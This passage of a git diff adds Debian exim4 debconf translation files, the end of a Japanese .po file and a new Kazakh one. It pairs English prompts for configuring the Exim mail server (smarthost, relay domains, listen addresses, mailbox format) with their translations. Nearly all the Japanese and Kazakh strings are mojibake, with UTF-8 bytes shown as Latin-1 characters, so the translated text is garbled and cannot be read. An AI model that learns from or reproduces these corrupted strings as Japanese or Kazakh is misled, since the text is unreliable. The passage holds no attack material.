ã•ã„。Exim SMTP リスナ" +"デーモンã¯ã€ã“ã“ã§æŒ™ã’られãŸã™ã¹ã¦ã® IP アドレスをリスンã—ã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"ã“ã®å€¤ã‚’空ã«ã™ã‚‹ã¨ã€Exim ã¯ã™ã¹ã¦ã®åˆ©ç”¨å¯èƒ½ãªãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã‚¤ãƒ³ã‚¿ãƒ¼ãƒ•ã‚§ã‚¤ã‚¹ã®æŽ¥" +"続をリスンã™ã‚‹ã‚ˆã†ã«ãªã‚Šã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ㌠(ã»ã‹ã®ãƒ›ã‚¹ãƒˆã‹ã‚‰ã§ã¯ãªã) ãƒãƒ¼ã‚«ãƒ«ã‚µãƒ¼ãƒ“スã‹ã‚‰ç›´æŽ¥ãƒ¡ãƒ¼ãƒ«ã‚’å—" +"ã‘å–ã‚‹ã®ã§ã‚ã‚Œã°ã€ãƒãƒ¼ã‚«ãƒ«ã® Exim デーモンã¸ã®å¤–部ã‹ã‚‰ã®æŽ¥ç¶šã‚’ç¦æ¢ã™ã‚‹ã®ã‚‚よ" +"ã„ã§ã—ょã†ã€‚ã“ã®ã‚ˆã†ãªã‚µãƒ¼ãƒ“スã«ã¯ã€fetchmail åŒæ§˜ã«ãƒãƒ¼ã‚«ãƒ«ãƒ›ã‚¹ãƒˆã¨ã‚„ã‚Šå–ã‚Š" +"ã™ã‚‹é›»åメールプãƒã‚°ãƒ©ãƒ (MUA) ã‚‚å«ã¾ã‚Œã¾ã™ã€‚ã“ã“㧠127.0.0.1 ã¨å…¥åŠ›ã™ã‚‹ã¨ã€" +"パブリックãªãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã‚¤ãƒ³ã‚¿ãƒ¼ãƒ•ã‚§ã‚¤ã‚¹ã®ãƒªã‚¹ãƒ‹ãƒ³ã‚°ã‚’無効ã«ã™ã‚‹ã®ã§ã€å¤–部ã‹" +"ら接続ã§ããªããªã‚Šã¾ã™ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "DNS クエリã®æ•°ã‚’最å°é™ã«ç•™ã‚ã¾ã™ã‹ (ダイヤルオンデマンド)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"通常ã®å‹•ä½œãƒ¢ãƒ¼ãƒ‰ã§ã¯ã€Exim ã¯èµ·å‹•æ™‚ã€ãŠã‚ˆã³ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã®å—信時ã¨é…é€æ™‚ã« DNS " +"ルックアップを行ã„ã¾ã™ã€‚ã“ã‚Œã¯ã€è¨˜éŒ²ç”¨ã§ã‚ã‚Šã€è¨å®šãƒ•ã‚¡ã‚¤ãƒ«ã«ãƒãƒ¼ãƒ‰ã‚³ãƒ¼ãƒ‰ã•ã‚Œ" +"ãŸå€¤ã®æ•°ã«æŠ‘ãˆã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒå®Œå…¨ãª DNS サービスリゾルãƒã‚’常時利用ã§ããªã„å ´åˆ (ãŸã¨ãˆã°ã‚¤ãƒ³" +"ターãƒãƒƒãƒˆã‚¢ã‚¯ã‚»ã‚¹ãŒãƒ€ã‚¤ãƒ¤ãƒ«ã‚¢ãƒƒãƒ—オンデマンドを使ã£ãŸãƒ€ã‚¤ãƒ¤ãƒ«ã‚¢ãƒƒãƒ—回線ã®å ´" +"åˆ)ã€ã“ã‚Œã¯æœ›ã¾ã—ããªã„çµæžœã¨ãªã‚Šå¾—ã¾ã™ã€‚ãŸã¨ãˆã°Exim ã®èµ·å‹•æ™‚ã‚„ã‚ューã®å®Ÿè¡Œ" +"時 (å¾…æ©Ÿä¸ã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ãŒãªã„ã¨ãã§ã‚‚) ã«ã€ã‚³ã‚¹ãƒˆã®é«˜ã„ダイヤルアップイベント" +"を引ãèµ·ã“ã™æã‚ŒãŒã‚ã‚Šã¾ã™ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒãƒ€ã‚¤ãƒ¤ãƒ«ã‚ªãƒ³ãƒ‡ãƒžãƒ³ãƒ‰ã‚’使ã£ã¦ã„ã‚‹å ´åˆã«ã¯ã€ã€Œã¯ã„ã€ã¨ç”ãˆã‚‹ã¹ã" +"ã§ã™ã€‚インターãƒãƒƒãƒˆã‚¢ã‚¯ã‚»ã‚¹ã«å¸¸æ™‚接続ã—ã¦ã„ã‚‹ã®ã§ã‚ã‚Œã°ã€ã€Œã„ã„ãˆã€ã¨ã™ã¹ã" +"ã§ã™ã€‚" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "メールサーãƒã®è¨å®š:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "è¨å®šã‚’å°ã•ãªãƒ•ã‚¡ã‚¤ãƒ«ã«åˆ†å‰²ã—ã¾ã™ã‹?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian ã® exim4 パッケージã¯ã€1 ã¤ã®ãƒ¢ãƒŽãƒªã‚·ãƒƒã‚¯ãªãƒ•ã‚¡ã‚¤ãƒ«ã§ã‚る「å˜ä¸€è¨å®šã€" +"(/etc/exim4/exim4.conf.template) ã‹ /etc/exim4/conf.d/ ã«ç½®ã‹ã‚Œã‚‹ç´„ 50 ã®å°ã•" +"ãªãƒ•ã‚¡ã‚¤ãƒ«ã‹ã‚‰å®Ÿéš›ã®ãƒ•ã‚¡ã‚¤ãƒ«ãŒæ§‹æˆã•ã‚Œã‚‹ã€Œåˆ†å‰²è¨å®šã€ã®ã©ã¡ã‚‰ã§ã‚‚利用ã§ãã¾" +"ã™ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"å˜ä¸€è¨å®šã¯å¤§ããªå¤‰æ›´ã‚’ã™ã‚‹ã®ã«å‘ã„ã¦ãŠã‚Šã€ä¸€èˆ¬çš„ã«ã‚ˆã‚Šå®‰å®šã—ã¦ã„ã‚‹ã®ã«å¯¾ã—ã€" +"分割è¨å®šã¯å°ã•ãªå¤‰æ›´ã‚’è¡Œã†ã®ã«æ¥½ãªæ–¹æ³•ã‚’æä¾›ã—ã¾ã™ (ãŸã ã—脆ãã€é…æ…®ã›ãšã«å¤‰" +"æ›´ã™ã‚‹ã¨å£Šã‚Œã‚‹ã‹ã‚‚ã—ã‚Œã¾ã›ã‚“)。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"分割è¨å®šã¨å˜ä¸€è¨å®šã®è©³ç´°ãªè°è«–ã«ã¤ã„ã¦ã¯ã€/usr/share/doc/exim4-base ã«ã‚ã‚‹ " +"Debian 固有㮠README ファイルã§å‚ç…§ã§ãã¾ã™ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "é€å‡ºã™ã‚‹ãƒ¡ãƒ¼ãƒ«ã§ãƒãƒ¼ã‚«ãƒ«ãƒ¡ãƒ¼ãƒ«åã‚’éš ã—ã¾ã™ã‹?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"ç•°ãªã‚‹ã‚·ã‚¹ãƒ†ãƒ ã§ç”Ÿæˆã•ã‚ŒãŸã‹ã®ã‚ˆã†ã«è¦‹ãˆã‚‹ã‚ˆã†ã€é€å‡ºã™ã‚‹ãƒ¡ãƒ¼ãƒ«ã®ãƒ˜ãƒƒãƒ€ã¯æ›¸ã" +"æ›ãˆã§ãã¾ã™ã€‚ã“ã“ã§ã€Œã¯ã„ã€ã¨ç”ãˆã‚‹ã¨ã€Fromã€Reply-Toã€Senderã€Return-Path " +"ã® '${mailname}'ã€'localhost'ã€'${dc_other_hostnames}' ãŒç½®ãæ›ãˆã‚‰ã‚Œã¾ã™ã€‚" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/var/mail/ 内㮠mbox å½¢å¼" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "ホームディレクトリ内㮠Maildir å½¢å¼" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "ãƒãƒ¼ã‚«ãƒ«ãƒ¡ãƒ¼ãƒ«ã®é…é€æ–¹å¼:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim ã¯ãƒãƒ¼ã‚«ãƒ«ã«é…é€ã•ã‚ŒãŸé›»åメールを異ãªã‚‹å½¢å¼ã§æ ¼ç´ã§ãã¾ã™ã€‚ã»ã¨ã‚“ã©ã®å ´" +"åˆã¯ã€mbox 㨠Maildir ã®ã©ã¡ã‚‰ã‹ãŒä½¿ã‚ã‚Œã¾ã™ã€‚mbox ã¯ã™ã¹ã¦ã®ãƒ¡ãƒ¼ãƒ«ãƒ•ã‚©ãƒ«ãƒ€" +"ã‚’ /var/mail ã«å˜ä¸€ãƒ•ã‚¡ã‚¤ãƒ«ã§æ ¼ç´ã—ã¾ã™ã€‚Maildir å½¢å¼ã§ã¯ã€å„個ã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸" +"㯠~/Maildir/ ã«åˆ†å‰²ã•ã‚ŒãŸãƒ•ã‚¡ã‚¤ãƒ«ã¨ã—ã¦æ ¼ç´ã•ã‚Œã¾ã™ã€‚" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"ã»ã¨ã‚“ã©ã®ãƒ¡ãƒ¼ãƒ«ãƒ„ールã¯ã€ãƒãƒ¼ã‚«ãƒ«é…é€æ–¹å¼ãŒ mbox ã§ã‚ã‚‹ã¨ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã§ã¯ä»®å®š" +"ã—ã¦ã„ã‚‹ã“ã¨ã«æ³¨æ„ã—ã¦ãã ã•ã„。" diff --git a/debian/po/kk.po b/debian/po/kk.po new file mode 100644 index 0000000..2623054 --- /dev/null +++ b/debian/po/kk.po @@ -0,0 +1,610 @@ +# Dauren Sarsenov <daur88@inbox.ru>, 2009 +# +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2009-03-24 14:49+0600\n" +"Last-Translator: Dauren Sarsenov <daur88@inbox.ru>\n" +"Language-Team: Kazakh <kk_KZ@googlegroups.com>\n" +"Language: kk\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Спул бумаÑындағы жеткізілмеген хабардың жойылуын қалайÑыз ба?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Exim Ñпул бумаÑында (/var/spool/exim4/input/) әлі жеткізілмеген хабарлар " +"бар. Exim жойылуы олардың жеткізілмеген күйде қалуына әкеледі." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Бұл Ð¾Ð¿Ñ†Ð¸Ñ Ñ‚Ð°Ò£Ð´Ð°Ð»Ð¼Ð°Ñа, Ñпул бумаÑÑ‹ Ñақталады. Кейін Exim қайта орнатылғанда, " +"кезекте тұрған хабарлар жеткізіле алады." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Бұл деÑтенің орнына exim4-config баптау керек" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 баптауы exim4-config бөлек деÑтеÑіне шығарылған. Exim4 баптау үшін " +"'dpkg-reconfigure exim4-config' пайдалану керек." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "интернет Ñайт; пошта SMTP арқылы жіберіліеді әрі қабылданады" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "пошта smarthost арқылы жіберіліп; SMTP не fetchmail арқылы қабылданады" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "пошта smarthost арқылы жіберіледі; жергілікті поштаÑыз" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "поштаны жергілікті жеткізу; желіÑіз" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "кейін баптау" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Пошта баптауының жалпы түрі:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Өзіңізге қажет пошта Ñерверінің баптауының түрін таңдаңыз." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Динамикалық IP адреÑÑ– бар жүйелер, оның ішінде қашықтан қатынау жүйелері, " +"әдетте, ÑˆÑ‹Ò“Ñ‹Ñ Ð¿Ð¾ÑˆÑ‚Ð°Ð½Ñ‹ smarthost машинаÑына жіберуі керек, Ñебебі динамикалық " +"адреÑтен келген пошта хабары интернеттегі қабылдаушы жүйелердің Ñпамға қарÑÑ‹ " +"құралдарымен бөгеледі." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Динамикалық IP адреÑÑ– бар жүйелер өзінің поштаÑын қабылдай алады, не " +"жергілікті жеткізуді толығымен (root және postmaster екеуінен баÑқаÑÑ‹) " +"өшіруге болады." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Сіз шынымен пошта жүйеÑін баптауÑыз қалдыруды қалайÑыз ба?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Пошта жүйеÑін баптамай, оны қолдануға болмайды. Баптауды кейініректе қолдан " +"не root атынан 'dpkg-reconfigure exim4-config' деп орындауға болады." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Жүйелік пошта аты:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'Пошта аты' домені көрÑетілмеген адреÑтерді толықтыру үшін қолданылады." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Поштаның атын баÑқа бағдарламалар да қолданылады. Ол толығымен анықталған " +"домен атының (FQDN) талаптарына Ñай болуы керек." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"МыÑалы, жергілікті машинаның пошталық адреÑÑ– foo@example.org болÑа, бұл " +"опциÑның Ð´Ò±Ñ€Ñ‹Ñ Ð¼Ó™Ð½Ñ– example.org болуы керек." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "Бұл ат қайта жазу қоÑылған жағдайда, 'Кімнен:' жолында көрÑетілмейді." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Пошта қабылданатын баÑқа орындар:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"ОÑÑ‹ машина қай домендер үшін өзін түпкі бағыт ретінде Ñанайтындығын " +"көрÑетіңіз. Тізім үтір-нүктемен ажыратылады. Бұл домендер әдетте 'жергілікті " +"домендер' деп аталады. Жергілікті хоÑÑ‚ аты ${fqdn}) мен 'localhost' бұл " +"тізімге әрқашан қоÑылады." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Әдетте, барлық жергілікті домендер бірге қараÑтырылады. Егер a.example мен b." +"example жергілікті домен болÑа, acc@a.example мен acc@b.example адреÑтері " +"бір түпкі бағытқа апарады. Егер әр түрлі домен аттары әр түрлі қараÑтырылуы " +"керек болÑа, баптау файлдарын кейінірек түзетіңіз." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Пошта релейтуді қолданатын домендер:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"ОÑÑ‹ жүйе қай домендер үшін пошта релейтуді қолданатындығын көрÑетіңіз. Тізім " +"үтір-нүктемен ажыратылады. Пошта релейту MX не пошта шлюзі үшін қолданылады. " +"Яғни оÑÑ‹ жүйе көрÑетілген домендердің хабарын интернеттің кез келген жерінен " +"қабылдап, жергілкті жеткізу ережелеріне ÑÓ™Ð¹ÐºÐµÑ Ð¶ÐµÑ‚ÐºÑ–Ð·ÐµÑ‚Ñ–Ð½ болады." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Жергілікті домендерді көрÑетпеңіз. Ðрнайы таңбалар қолдануға болады." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Пошта релейтуді қолданатын машиналар:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"ОÑÑ‹ жүйе қай машиналар үшін поштаны шартÑыз релейтуді қолданатындығын, Ñғни " +"smarthost ретінде Ð¶Ò±Ð¼Ñ‹Ñ Ñ–Ñтейтіндігін көрÑетіңіз. Тізім үтір-нүктемен " +"ажыратылған IP адреÑтер аралығынан тұрады." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Кәдімгі адреÑ/Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ Ñ‚Ò¯Ñ€Ñ–Ð½Ð´Ðµ жазыңыз (мыÑалы, 194.222.242.0/24 немеÑе " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Егер бұл жүйе ешбір хоÑÑ‚ үшін smarthost болып табылмаÑа, жолды Ð±Ð¾Ñ " +"қалдырыңыз." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Жергілікті пайдаланушылардың көрінетін домен аты:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Ð¨Ñ‹Ò“Ñ‹Ñ Ð¿Ð¾ÑˆÑ‚Ð°Ð½Ñ‹Ò£ хабарында жергілікті пошта атын жаÑыру опциÑÑÑ‹ таңдалды. " +"Сондықтан оÑÑ‹ жүйенің жергілікті пайдаланушыларының жіберуші адреÑінің " +"домендік бөлігінде қолданылатын домен атын көрÑету керек." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Ð¨Ñ‹Ò“Ñ‹Ñ smarthost IP адреÑÑ– не хоÑÑ‚ аты:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"ОÑÑ‹ жүйе smarthost ретінде пайдаланатын пошта Ñерверінің IP адреÑін не хоÑÑ‚ " +"атын енгізіңіз. Егер smarthost Ñіздің поштаңызды қалыпты ÐµÐ¼ÐµÑ Ð¿Ð¾Ñ€Ñ‚Ñ‚Ð° (TCP/25 " +"емеÑ) қабылдаÑа, екі Ò›Ð¾Ñ Ð½Ò¯ÐºÑ‚Ðµ қойып, порттың нөмірін жазыңыз (мыÑалы " +"smarthost.example::587 немеÑе 192.168.254.254::2525). IPv6 түріндегі " +"адреÑÑ‚Ñ–Ò£ Ò›Ð¾Ñ Ð½Ò¯ÐºÑ‚ÐµÐ»ÐµÑ€Ñ–Ð½ тағы екі еÑелеу қажет." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Егер smarthost аутентификациÑны талап етÑе, Debian жүйеÑіне қатыÑÑ‚Ñ‹ SMTP " +"аутентификациÑÑÑ‹ туралы /usr/share/doc/exim4-base ішіндегі README файлдан " +"оқыңыз." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Root және postmaster пошта қабылдаушыÑÑ‹: " + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"'Postmaster', 'root' және өзге де жүйелік тіркелгілері жүйелік " +"админиÑтратордың пайдаланушылық тіркелгіÑіне бағытталуы тиіÑ." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Егер бұл мән көрÑетілмеÑе, мұндай пошта /var/mail/mail ішінде Ñақталады, ал " +"бұл өз кезегінде Ò±Ñынылмайды." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"ЕÑкерту: postmaster поштаÑÑ‹ оÑÑ‹ жүйеден Ñ‚Ñ‹Ñ ÑˆÑ‹Ò›Ð¿Ð°ÑƒÑ‹ тиіÑ. Сондықтан оÑÑ‹ " +"тізімдегі кемінде бір пайдаланушының поштаÑÑ‹ оÑÑ‹ машинада қалуы тиіÑ. " +"Жергілікті жеткізуді күштеп пайдалану үшін 'real-' префикÑін қолдануға " +"болады." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Бірнеше пайдаланушы атының араÑында Ð±Ð¾Ñ Ð¾Ñ€Ñ‹Ð½ болуы тиіÑ." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "ÐšÑ–Ñ€Ñ–Ñ SMTP байланыÑын тыңдауға арналған IP адреÑ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Үтір-нүктемен ажыратылған IP адреÑтер енгізіңіз. Exim SMTP тыңдаушы қызметі " +"оÑында көрÑетілген барлық IP адреÑтерді тыңдайды." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Егер бұл мән көрÑетілмеÑе, Exim барлық қол жеткілікті желілік интерфейÑÑ‚Ñ– " +"тыңдайды." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Егер бұл жүйе жергілікті қызметтердің ғана поштаÑын қабылдайтын болÑа, " +"Ñыртқы байланыÑтардың тыйылуын Ò±Ñынуға болады. Жергілікті қызмет ретінде " +"localhost арқылы байланыÑатын Ñлектрондық пошта клиентін (MUA) және " +"fetchmail айтуға болады. Сыртқы байланыÑтарды Ñ‚Ñ‹ÑŽ және жалпыға қол " +"жеткілікті желілік интерфейÑÑ‚Ñ– тыңдамау үшін 127.0.0.1 